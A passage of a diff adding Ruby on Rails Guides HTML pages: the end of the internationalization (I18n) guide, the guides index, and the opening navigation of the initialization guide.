+		<td> validates_confirmation_of    </td>
+		<td> &#8211;                         </td>
+		<td> :confirmation             </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_acceptance_of      </td>
+		<td> &#8211;                         </td>
+		<td> :accepted                 </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_presence_of        </td>
+		<td> &#8211;                         </td>
+		<td> :blank                    </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_length_of          </td>
+		<td> :within, :in              </td>
+		<td> :too_short                </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_length_of          </td>
+		<td> :within, :in              </td>
+		<td> :too_long                 </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_length_of          </td>
+		<td> :is                       </td>
+		<td> :wrong_length             </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_length_of          </td>
+		<td> :minimum                  </td>
+		<td> :too_short                </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_length_of          </td>
+		<td> :maximum                  </td>
+		<td> :too_long                 </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_uniqueness_of      </td>
+		<td> &#8211;                         </td>
+		<td> :taken                    </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_format_of          </td>
+		<td> &#8211;                         </td>
+		<td> :invalid                  </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_inclusion_of       </td>
+		<td> &#8211;                         </td>
+		<td> :inclusion                </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_exclusion_of       </td>
+		<td> &#8211;                         </td>
+		<td> :exclusion                </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_associated         </td>
+		<td> &#8211;                         </td>
+		<td> :invalid                  </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> &#8211;                         </td>
+		<td> :not_a_number             </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :greater_than             </td>
+		<td> :greater_than             </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :greater_than_or_equal_to </td>
+		<td> :greater_than_or_equal_to </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :equal_to                 </td>
+		<td> :equal_to                 </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :less_than                </td>
+		<td> :less_than                </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :less_than_or_equal_to    </td>
+		<td> :less_than_or_equal_to    </td>
+		<td> count</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :odd                      </td>
+		<td> :odd                      </td>
+		<td> -</td>
+	</tr>
+	<tr>
+		<td> validates_numericality_of    </td>
+		<td> :even                     </td>
+		<td> :even                     </td>
+		<td> -</td>
+	</tr>
+</table>
+<h5 id="translations-for-the-active-record-error_messages_for-helper">5.1.3 Translations for the Active Record <tt>error_messages_for</tt> Helper</h5>
+<p>If you are using the Active Record <tt>error_messages_for</tt> helper, you will want to add translations for it.</p>
+<p>Rails ships with the following translations:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   &quot;1 error prohibited this %{model} from being saved&quot;
+          other: &quot;%{count} errors prohibited this %{model} from being saved&quot;
+        body:    &quot;There were problems with the following fields:&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="overview-of-other-built-in-methods-that-provide-i18n-support">5.2 Overview of Other Built-In Methods that Provide I18n Support</h4>
+<p>Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here&#8217;s a brief overview.</p>
+<h5 id="action-view-helper-methods">5.2.1 Action View Helper Methods</h5>
+<ul>
+	<li><tt>distance_of_time_in_words</tt> translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See <a href="http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51">datetime.distance_in_words</a> translations.</li>
+</ul>
+<ul>
+	<li><tt>datetime_select</tt> and <tt>select_month</tt> use translated month names for populating the resulting select tag. See <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15">date.month_names</a> for translations. <tt>datetime_select</tt> also looks up the order option from <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18">date.order</a> (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the <a href="http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83">datetime.prompts</a> scope if applicable.</li>
+</ul>
+<ul>
+	<li>The <tt>number_to_currency</tt>, <tt>number_with_precision</tt>, <tt>number_to_percentage</tt>, <tt>number_with_delimiter</tt>, and <tt>number_to_human_size</tt> helpers use the number format settings located in the <a href="http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2">number</a> scope.</li>
+</ul>
+<h5 id="active-record-methods">5.2.2 Active Record Methods</h5>
+<ul>
+	<li><tt>human_name</tt> and <tt>human_attribute_name</tt> use translations for model names and attribute names if available in the <a href="http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29">activerecord.models</a> scope. They also support translations for inherited class names (e.g. for use with <span class="caps">STI</span>) as explained above in &#8220;Error message scopes&#8221;.</li>
+</ul>
+<ul>
+	<li><tt>ActiveRecord::Errors#generate_message</tt> (which is used by Active Record validations but may also be used manually) uses <tt>human_name</tt> and <tt>human_attribute_name</tt> (see above). It also translates the error message and supports translations for inherited class names as explained above in &#8220;Error message scopes&#8221;.</li>
+</ul>
+<p>*<tt> ActiveRecord::Errors#full_messages</tt> prepends the attribute name to the error message using a separator that will be looked up from <a href="http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91">activerecord.errors.format.separator</a> (and which defaults to <tt>'&nbsp;'</tt>).</p>
+<h5 id="active-support-methods">5.2.3 Active Support Methods</h5>
+<ul>
+	<li><tt>Array#to_sentence</tt> uses format settings as given in the <a href="http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30">support.array</a> scope.</li>
+</ul>
+<h3 id="customize-your-i18n-setup">6 Customize your I18n Setup</h3>
+<h4 id="using-different-backends">6.1 Using Different Backends</h4>
+<p>For several reasons the Simple backend shipped with Active Support only does the &#8220;simplest thing that could possibly work&#8221; <em>for Ruby on Rails</em> <sup class="footnote" id="fnr3"><a href="#fn3">3</a></sup> &#8230; which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.</p>
+<p>That does not mean you&#8217;re stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize&#8217;s Static backend:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.backend = Globalize::Backend::Static.new
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-different-exception-handlers">6.2 Using Different Exception Handlers</h4>
+<p>The I18n <span class="caps">API</span> defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+</pre>
+</div>
+</notextile>
+
+<p>The I18n <span class="caps">API</span> will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for <tt>MissingTranslationData</tt> exceptions. When a <tt>MissingTranslationData</tt> exception has been caught, it will return the exceptionโ€™s error message string containing the missing key/scope.</p>
+<p>The reason for this is that during development you&#8217;d usually want your views to still render even though a translation is missing.</p>
+<p>In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module I18n
+  def just_raise_that_exception(*args)
+    raise args.first
+  end
+end
+
+I18n.exception_handler = :just_raise_that_exception
+</pre>
+</div>
+</notextile>
+
+<p>This would re-raise all caught exceptions including <tt>MissingTranslationData</tt>.</p>
+<p>Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method <tt>#t</tt> (as well as <tt>#translate</tt>). When a <tt>MissingTranslationData</tt> exception occurs in this context, the helper wraps the message into a span with the <span class="caps">CSS</span> class <tt>translation_missing</tt>.</p>
+<p>To do so, the helper forces <tt>I18n#translate</tt> to raise exceptions no matter what exception handler is defined by setting the <tt>:raise</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.t :foo, :raise =&gt; true # always re-raises exceptions from the backend
+</pre>
+</div>
+</notextile>
+
+<h3 id="conclusion">7 Conclusion</h3>
+<p>At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.</p>
+<p>If you find anything missing or wrong in this guide please file a ticket on <a href="http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview">our issue tracker</a>. If you want to discuss certain portions or have questions please sign up to our <a href="http://groups.google.com/group/rails-i18n">mailinglist</a>.</p>
+<h3 id="contributing-to-rails-i18n">8 Contributing to Rails I18n</h3>
+<p>I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core.</p>
+<p>Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don&#8217;t forget to announce your work on our <a href="http://groups.google.com/group/rails-i18n">mailing list</a>!)</p>
+<p>If you find your own locale (language) missing from our <a href="http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale">example translations data</a> repository for Ruby on Rails, please <a href="http://github.com/guides/fork-a-project-and-submit-your-modifications"><em>fork</em></a> the repository, add your data and send a <a href="http://github.com/guides/pull-requests">pull request</a>.</p>
+<h3 id="resources">9 Resources</h3>
+<ul>
+	<li><a href="http://rails-i18n.org">rails-i18n.org</a> &#8211; Homepage of the rails-i18n project. You can find lots of useful resources on the <a href="http://rails-i18n.org/wiki">wiki</a>.</li>
+	<li><a href="http://groups.google.com/group/rails-i18n">rails-i18n Google group</a> &#8211; The project&#8217;s mailing list.</li>
+	<li><a href="http://github.com/svenfuchs/rails-i18n/tree/master">Github: rails-i18n</a> &#8211; Code repository for the rails-i18n project. Most importantly you can find lots of <a href="http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale">example translations</a> for Rails that should work for your application in most cases.</li>
+	<li><a href="http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview">Lighthouse: rails-i18n</a> &#8211; Issue tracker for the rails-i18n project.</li>
+	<li><a href="http://github.com/svenfuchs/i18n/tree/master">Github: i18n</a> &#8211; Code repository for the i18n gem.</li>
+	<li><a href="http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview">Lighthouse: i18n</a> &#8211; Issue tracker for the i18n gem.</li>
+</ul>
+<h3 id="authors">10 Authors</h3>
+<ul>
+	<li><a href="http://www.workingwithrails.com/person/9963-sven-fuchs">Sven Fuchs</a> (initial author)</li>
+	<li><a href="http://www.workingwithrails.com/person/7476-karel-mina-k">Karel Minaล™รญk</a></li>
+</ul>
+<p>If you found this guide useful please consider recommending its authors on <a href="http://www.workingwithrails.com">workingwithrails</a>.</p>
+<h3 id="footnotes">11 Footnotes</h3>
+<p class="footnote" id="fn1"><a href="#fnr1"><sup>1</sup></a> Or, to quote <a href="http://en.wikipedia.org/wiki/Internationalization_and_localization">Wikipedia</a>: <em>&#8220;Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text.&#8221;</em></p>
+<p class="footnote" id="fn2"><a href="#fnr2"><sup>2</sup></a> Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.</p>
+<p class="footnote" id="fn3"><a href="#fnr3"><sup>3</sup></a> One of these reasons is that we don&#8217;t want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.</p>
+<h3 id="changelog">12 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/23">Lighthouse ticket</a></p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/index.html
@@ -0,0 +1,265 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides
+</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby on Rails Guides (edge)</h2>
+
+<p>
+  These are the new guides for Rails 3. The guides for Rails 2.3 are still available
+  at <a href="http://guides.rubyonrails.org/v2.3.8/">http://guides.rubyonrails.org/v2.3.8/</a>.
+</p>
+<p>
+  These guides are designed to make you immediately productive with Rails,
+  and to help you understand how all of the pieces fit together.
+</p>
+
+
+
+      <div id="subCol">
+  <dl>
+    <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd>
+    <dd class="ticket">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</dd>
+  </dl>
+</div>
+
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        
+
+
+<h3>Start Here</h3>
+
+<dl>
+<dt><a href="getting_started.html">Getting Started with Rails</a></dt><dd>
+  <p>Everything you need to know to install Rails and create your first application.</p>
+</dd></dl>
+
+<h3>Models</h3>
+
+<dl>
+<dt><a href="migrations.html">Rails Database Migrations</a></dt><dd>
+  <p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p>
+</dd>
+<dt><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dt><dd>
+  <p>This guide covers how you can use Active Record validations and callbacks.</p>
+</dd>
+<dt><a href="association_basics.html">Active Record Associations</a></dt><dd>
+  <p>This guide covers all the associations provided by Active Record.</p>
+</dd>
+<dt><a href="active_record_querying.html">Active Record Query Interface</a></dt><dd>
+  <p>This guide covers the database query interface provided by Active Record.</p>
+</dd></dl>
+
+<h3>Views</h3>
+
+<dl>
+<dt><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dt><dd>
+  <p>This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.</p>
+</dd>
+<dt><a href="form_helpers.html">Action View Form Helpers</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></dd><dd>
+  <p>Guide to using built-in Form helpers.</p>
+</dd></dl>
+
+<h3>Controllers</h3>
+
+<dl>
+<dt><a href="action_controller_overview.html">Action Controller Overview</a></dt><dd>
+  <p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p>
+</dd>
+<dt><a href="routing.html">Rails Routing from the Outside In</a></dt><dd>
+  <p>This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.</p>
+</dd></dl>
+
+<h3>Digging Deeper</h3>
+
+<dl>
+
+<dt><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dt><dd>
+  <p>This guide documents the Ruby core extensions defined in Active Support.</p>
+</dd>
+<dt><a href="i18n.html">Rails Internationalization API</a></dt><dd>
+  <p>This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.</p>
+</dd>
+<dt><a href="action_mailer_basics.html">Action Mailer Basics</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/25">Lighthouse Ticket</a></dd><dd>
+  <p>This guide describes how to use Action Mailer to send and receive emails.</p>
+</dd>
+<dt><a href="testing.html">Testing Rails Applications</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></dd><dd>
+  <p>This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from &quot;What is a test?&quot; to the testing APIs. Enjoy.</p>
+</dd>
+<dt><a href="security.html">Securing Rails Applications</a></dt><dd>
+  <p>This guide describes common security problems in web applications and how to avoid them with Rails.</p>
+</dd>
+<dt><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dt><dd>
+  <p>This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.</p>
+</dd>
+<dt><a href="performance_testing.html">Performance Testing Rails Applications</a></dt><dd>
+  <p>This guide covers the various ways of performance testing a Ruby on Rails application.</p>
+</dd>
+<dt><a href="configuring.html">Configuring Rails Applications</a></dt><dd>
+  <p>This guide covers the basic configuration settings for a Rails application.</p>
+</dd>
+<dt><a href="command_line.html">Rails Command Line Tools and Rake tasks</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/29">Lighthouse Ticket</a></dd><dd>
+  <p>This guide covers the command line tools and rake tasks provided by Rails.</p>
+</dd>
+<dt><a href="caching_with_rails.html">Caching with Rails</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></dd><dd>
+  <p>Various caching techniques provided by Rails.</p>
+</dd></dl>
+
+<h3>Extending Rails</h3>
+
+<dl>
+  <dt><a href="plugins.html">The Basics of Creating Rails Plugins</a></dt><dd class="ticket"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/32">Lighthouse Ticket</a></dd><dd>
+    <p>This guide covers how to build a plugin to extend the functionality of Rails.</p>
+</dd>
+  <dt><a href="rails_on_rack.html">Rails on Rack</a></dt><dd>
+    <p>This guide covers Rails integration with Rack and interfacing with other Rack components.</p>
+</dd>
+  <dt><a href="generators.html">Creating and Customizing Rails Generators</a></dt><dd>
+    <p>This guide covers the process of adding a brand new generator to your extension
+      or providing an alternative to an element of a built-in Rails generator (such as
+      providing alternative test stubs for the scaffold generator).</p>
+</dd></dl>
+
+<h3>Contributing to Rails</h3>
+
+<dl>
+  <dt><a href="contributing_to_rails.html">Contributing to Rails</a></dt><dd>
+    <p>Rails is not &quot;somebody else's framework.&quot; This guide covers a variety of ways that you can get involved in the ongoing development of Rails.</p>
+</dd>
+  <dt><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dt><dd>
+    <p>This guide documents the Ruby on Rails API documentation guidelines.</p>
+</dd>  
+  <dt><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dt><dd>
+    <p>This guide documents the Ruby on Rails guides guidelines.</p>
+</dd></dl>
+
+<h3>Release Notes</h3>
+
+<dl>
+<dt><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dt><dd>
+  <p>Release notes for Rails 3.0.</p>
+</dd>
+<dt><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dt><dd>
+  <p>Release notes for Rails 2.3.</p>
+</dd>
+<dt><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dt><dd>
+  <p>Release notes for Rails 2.2.</p>
+</dd></dl>
+
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/initialization.html
@@ -0,0 +1,4055 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: The Rails Initialization Process</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
